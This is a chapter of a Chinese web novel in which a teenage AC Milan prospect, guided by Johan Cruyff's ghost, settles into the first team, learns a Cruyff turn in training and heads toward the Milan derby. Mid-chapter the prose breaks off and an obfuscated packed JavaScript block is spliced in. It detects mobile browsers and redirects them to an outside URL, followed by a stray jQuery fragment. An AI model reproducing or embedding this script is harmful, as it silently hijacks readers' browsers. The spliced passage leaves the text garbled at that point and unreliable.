虽然AC米兰赛季初的成绩并不理想，但“17岁青训小将在意甲首秀即贡献两次助攻”的消息仍然霸占了米兰当地报纸的头版头条。
消息一出，不少俱乐部闻风而动，试图打探乔瓦尼·米拉尼的所有背景。然而，当他们得知这位天才少年正寄宿在马尔蒂尼家中时，便纷纷打消了念头，只能惋惜自己没能更早发现这颗璀璨新星。
巴雷西第二天一早就给马尔蒂尼家打了一个电话，隔着电话线夸了乔瓦尼足足十分钟。要不是玛丽莎在旁边提醒“早饭要冷掉了”，兴奋的米兰前队长可舍不得挂掉电话。
保罗·马尔蒂尼坐在餐桌上，故意开玩笑道：“我昨天还进球了，可是弗朗科也没有打过来夸我。”虽然这是因为昨晚他为了了解乔瓦尼在福利院的事情而主动给老队长打了电话。
这句话逗笑了马尔蒂尼夫妇，乔瓦尼有些不知所措地拉开椅子坐下。
“你跟我顶嘴的时候不是挺能说的吗？怎么一见到这些米兰人就成了哑巴？”克鲁伊夫在少年身边夸张地摇了摇头。
乔瓦尼心里想，“那怎么能一样？这些米兰人又没有你那么刻薄。”更何况幽灵约翰还需要他来实现两人共同的目标，绝不会半途抛下他。
虽然乔瓦尼心中那份害怕被抛弃的不安让克鲁伊夫喉头一哽，但他还是故意提醒道：“要我说，小马尔蒂尼又不是没领教过你话里带刺的模样。之前在青训更衣室外，你不是还冲他吼过？”
……真是谢谢您的提醒啊。乔瓦尼在心底干巴巴地回了一句。
他之前就差点因为和约翰说话被马尔蒂尼看出端倪，此刻更不敢和幽灵教练交谈太久。
“那下次我还给你助攻。”乔瓦尼抬起头，认真地看向马尔蒂尼。
马尔蒂尼没想到少年竟然如此郑重，不由笑着摆了摆手：“不，你还是优先考虑前场球员吧。”
这时，切萨雷忽然开口问道：“保罗，法比奥这算是正式把乔调入一线队了吗？”
马尔蒂尼立刻转向父亲：“乔是临时加进大名单的，教练还没和我谈过后续安排。”他笑着看了乔瓦尼一眼，“不过经过昨晚那一战，他怕是舍不得放乔回青训了。”
正如米兰队长所预料的那般，主帅卡佩罗现在越看乔瓦尼越觉得满意，一个在球队落后情况下首次登陆意甲的小将，却能表现得如此沉着专注，冷静地处理好每一次球权，这份沉稳心态是许多成年球员都不具备的。
哪怕乔瓦尼的身体素质显然还未达标，卡佩罗也不打算轻易放他回青训营了。
于是，明明昨晚刚在圣西罗更衣室里向一线队全体队员自我介绍过的乔瓦尼，不得不在第二天上午再次站在米兰内洛的更衣室中，逐一与各位球队大佬重新见礼问好。
既然短时间内不会再回青训营，乔瓦尼就需要在更衣室里有一个固定位置了，总不能还像昨晚那样，被临时夹在米兰正副队长中间。
马尔蒂尼环视了一圈队友，目光恰好撞上荷兰前锋克鲁伊维特发亮的眼睛。说起来，昨晚这位荷兰年轻人就表现得格外喜欢乔瓦尼的样子，而且两人年纪相差不大，应该能处得来。
于是，马尔蒂尼顺手就把乔瓦尼安排在了克鲁伊维特和多纳多尼之间。
“欢迎你！乔！”克鲁伊维特主动往旁边挪了挪，“俱乐部不让我说荷兰语，说我需要尽快熟悉意语，你就勉强听听我的蹩脚意语吧。”荷兰大男孩开朗的模样让乔瓦尼放松了一些，说实话，他也不想像只鹦鹉一样和对方讲荷兰语。
多纳多尼对这个昨天替换自己上场的年轻人也颇有好感，他深知自己已经进入了职业生涯的末期，所以对一个能和自己踢相同位置且表现出色的少年自然多了几分在意。
“听说你在青年队是踢右路的？”多纳多尼拍了拍乔瓦尼的手臂。
“是的，先生。”乔瓦尼点了点头。
没想到多纳多尼直接笑出声：“你可不能在更衣室里管谁都叫‘先生’。叫我‘多纳’或者‘罗比’就行。”
“好的，多纳先生。”乔瓦尼下意识接话。
还没走远的马尔蒂尼无奈地转过身来，插了一句：“罗比你放弃吧，我认识他两个月了，到现在还是‘马尔蒂尼先生’。”
米兰队长的吐槽顿时引来更衣室一阵爆笑。
一旁的阿尔贝蒂尼立刻指着自己鼻子说：“乔，叫我‘德米先生’就成。”又指了指身旁的科斯塔库塔，补了一句：“这位是‘比利先生’。”
昨晚轮休的米兰主力门将罗西夸张地笑道：“可怜的保罗，他甚至不是‘保罗先生’。”
乔瓦尼有些无助地在心里呼喊约翰，可是男人只是无情地嘲笑他：“现在才想起我这个‘刻薄的约翰’？是不是有点太晚了？”
求助无果的乔瓦尼只好望向马尔蒂尼，渴望对方能说些什么。
在意识到少年竟然罕见地在主动向自己求助后，马尔蒂尼先是会心一笑，随后才用一种自嘲的语气说道：“好了，‘先生们’。我会继续努力，争取早日晋升为‘保罗先生’的。”
不过，乔瓦尼觉得马尔蒂尼“努力”的方向似乎有些奇怪。
在接下来几天的训练赛中，乔瓦尼几乎被马尔蒂尼和科斯塔库塔的频繁铲球铲出了心理阴影。
再一次被米兰队长铲倒的少年趴在草地上喘着粗气，偏头吐掉溅进嘴里的草屑。这已经是他今天在右路第五次被左后卫马尔蒂尼“放倒”了。再加上科斯塔库塔的三次，他根本没机会“直立着”靠近对方禁区。
科斯塔库塔站在一旁，语气理所当然：“上次你被莱切铲，半天没爬起来。要不是看你确实瘦弱，又是第一次踢联赛，裁判很可能会认为你假装受伤而直接掏牌。”
马尔蒂尼伸手，一把将乔瓦尼拉起来，声音里听不出半点愧疚：“比利说得没错，与其等到比赛时被对手铲伤，不如我们先提前帮你练练。别担心，我们脚下有分寸。”
乔瓦尼心想，他当然知道他们的铲球技术好，因为他耳边还有一个正在喋喋不休的幽灵教练。
“在未来的很长一段时间，能躲开小马尔蒂尼铲球的球员也没几个。”克鲁伊夫的声音里带着一丝若有若无的笑意，“所以你不需要执着于避开他。掌握节奏，及时转移球权，然后习惯摔倒，这些练习能帮助你在正式比赛上快速决策。记住，足球不是硬碰硬的游戏。”
乔瓦尼心里虽然明白这个道理，但他又不是完全没有血性，任凭谁在这里三番五次地被放倒都会心情不爽。
于是，再次带球前插的乔瓦尼没再靠速度生吃，而是主动向中后卫科斯塔库塔的方向逼近，因为他知道马尔蒂尼不会连队友一起铲倒。此前他屡屡被断，正是因为在边路过于依赖爆发力直来直去，才总会被后卫看准时机放倒。
现在，他主动选择内切，直面对方的防守。
这还是乔瓦尼第一次在训练中流露出强烈的个人进攻意图。
场上球员都感到几分意外，没想到这个一直把“突破-传中”纪律刻在脑子里的少年会选择自己进攻。
不过，场边的卡佩罗却对此表示理解，将其视为少年被两位队长轮番“照顾”后的情绪反弹。
当然，大家都没觉得瘦弱的乔瓦尼能过掉科斯塔库塔。
在全队目光的注视下，乔瓦尼的上半身继续向内侧前倾，右脚轻轻一拨，整个身体姿态完全是一副要强行从内线突破的架势。
科斯塔库塔的重心立刻随着少年的动作向中路移动，准备封堵线路。
然而就在这一瞬，乔瓦尼的左脚内侧却将球轻轻向后一磕，同时以右脚为轴迅速完成了一次180度的转身。
皮球在乔瓦尼的控制区域内划过一道短促的弧线，完成转身的少年恰好重新面对皮球，并用外脚背顺势将球推向科斯塔库塔身体重心的另一个方向。
“克鲁伊夫转身！”不远处的克鲁伊维特高声呼喊了一声！
荷兰人兴奋的尾音还未落下，一道身影已拍马赶到——马尔蒂尼毫不留情地一记干净利落的放铲，将刚刚过掉科斯塔库塔、还没来得及得意的乔瓦尼直接放倒在了边线附近。
少年仰面躺在草地上，望着天空嘟囔了一句。
“……也算成功了一半吧。”
马尔蒂尼伸出一只手，把躺在地上的乔瓦尼拉了起来：“刚刚那个动作，是谁教你的？”
少年站起身，拍了拍球裤，歪着头反问：“怎么？那个动作很特别吗？”
就在那一瞬间，他脑海中闪过从前被人围堵的情景。那时的他可以靠速度骗过对手，而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383114|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一次，只不过脚下多了一个皮球。他本来只是心血来潮试了一下，却没想到身体远比想象中更适应这个动作。几乎是在他反应过来之前，就已经带球转到了另一个方向。
这时，克鲁伊维特飞奔而来，激动地喊道：“天呐！我就说你像克鲁伊夫！我之前学‘克鲁伊夫转身’时，不知道看了多少遍他的录像。你刚才的动作简直和录像里一模一样！”
乔瓦尼迷茫地转头，试图寻找幽灵约翰的身影，却发现对方正一言不发地盯着自己，似乎是在透过自己观察着什么。
怎么了，约翰？那个动作有什么问题吗？乔瓦尼在心里问道。
克鲁伊夫强压住心底的震撼。他能够读取乔瓦尼的心，因此比任何人都更清楚，少年在完成这一动作时，脑中并无任何成型的战术或技巧，那并非模仿，更非练习的产物，仅仅是一次直觉般的决断。乔瓦尼倚仗的是与生俱来的身体协调性与过去打架的经验，在电光石火之间，本能般地完成了转身。
克鲁伊夫从不认为这个过人技巧是他的专利。但作为最擅长它、甚至被公认是其“发明者”的人，他再清楚不过，如果没有经过反复练习，仅靠偶然就做出这个动作需要何等惊人的天赋。
克鲁伊维特的话，像一声惊雷在他心中炸响。
他已经记不清自己在乔瓦尼的年纪是怎样踢球的了，那时候条件有限，没有多少录像保存下来。后来，等他在阿贾克斯成名，录像虽然多了起来，但他也没有过多关注自己踢球的模样，因为研究对手才是他更需要做的事。
一个尚未成型的猜测突然浮现在意识边缘，但立刻就被克鲁伊夫惯有的理智掐灭了……乔瓦尼的球风和他相似并不奇怪，他们同样灵活、瘦弱，而经过他的指导，乔瓦尼在球场上的思维方式也和他越来越接近，所以“乔瓦尼与克鲁伊夫很像”是一件很正常的事情。
“约翰？你怎么了？”少年的声音打断了克鲁伊夫的思绪。
“没什么，你刚才表现得很好，如果不是过掉科斯塔库塔之后就得意起来，也不至于被小马尔蒂尼连人带球铲出场外。”克鲁伊夫重新恢复了平静，用惯常口吻评价道。
男人的话依旧不中听，但乔瓦尼反而放心下来，约翰还是那个约翰。
但克鲁伊夫到底是谁？少年又一次问道。
“一个退役多年的荷兰球员。你的风格确实有点像他，但还差得远。”克鲁伊夫笑着说道。
乔瓦尼对足球历史的了解几乎为零，他连米兰队史都搞不清楚。
就在这时，科斯塔库塔走了过来。
乔瓦尼原以为这位中卫会因为被自己的假动作晃过而有些恼火，没想到对方却笑容满面，重重地拍了拍他的肩膀。
“好小子！真有你的！今天训练结束后，我陪你加练几次这个动作！”
在既定的训练计划之外想要额外提升，加练确实是唯一途径。但一想到要和这位铁血副队长单独加练，乔瓦尼就有点发怵。
科斯塔库塔似乎一眼看穿了他的犹豫，挑眉望向一旁的马尔蒂尼。
乔瓦尼也跟着转头看向米兰队长。
“我也一起吧。”马尔蒂尼淡淡地说道。
旁边的克鲁伊维特顿时咧开嘴，兴奋地举手：“加我一个！我也要练！”
不远处的阿尔贝蒂尼无奈地伸手搭在门将罗西的肩上，叹了口气：“我看比利和保罗这架势……我是没办法准时下班了。”
罗西一把推开他，没好气地回道：“别扯上我，我又不是你。我知道米兰内洛的出口在哪，你们要练就练，我才不奉陪。”
但是最后，罗西还是因“球门前不能没有守门员”这样的离谱理由而被迫留了下来。
与莱切的比赛似乎帮助AC米兰找回了一些状态。他们在接下来的两轮联赛中先后击败桑普多利亚与布雷西亚，排名升至联赛第五，并成功晋级意大利杯的四分之一决赛。乔瓦尼只在红黑军团主场对战布雷西亚的时候，替补出场了10分钟左右。十分看好乔瓦尼的卡佩罗目前还是以培养为主，不愿让这个米兰新秀过早前往客场承受过大压力。
就是在这样的积极氛围中，乔瓦尼人生中第一场米兰德比开始了。
联赛第九轮，国际米兰将在主场梅阿查迎战AC米兰。